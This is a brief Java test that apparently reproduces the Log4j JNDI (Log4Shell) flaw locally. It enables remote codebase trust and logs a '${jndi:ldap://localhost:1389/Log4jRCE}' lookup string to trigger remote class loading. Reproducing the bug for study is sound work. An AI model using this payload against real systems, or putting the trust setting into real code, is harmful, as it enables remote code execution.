import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Author: 遛猫达人
 * @Description: TODO
 * @DateTime: 2021/12/11 23:07
 **/
public class Test {
    public static final Logger logger = LogManager.getLogger(Test.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("-----1----");
        logger.error("${jndi:ldap://localhost:1389/Log4jRCE}");
        logger.error("------2---");
    }
}
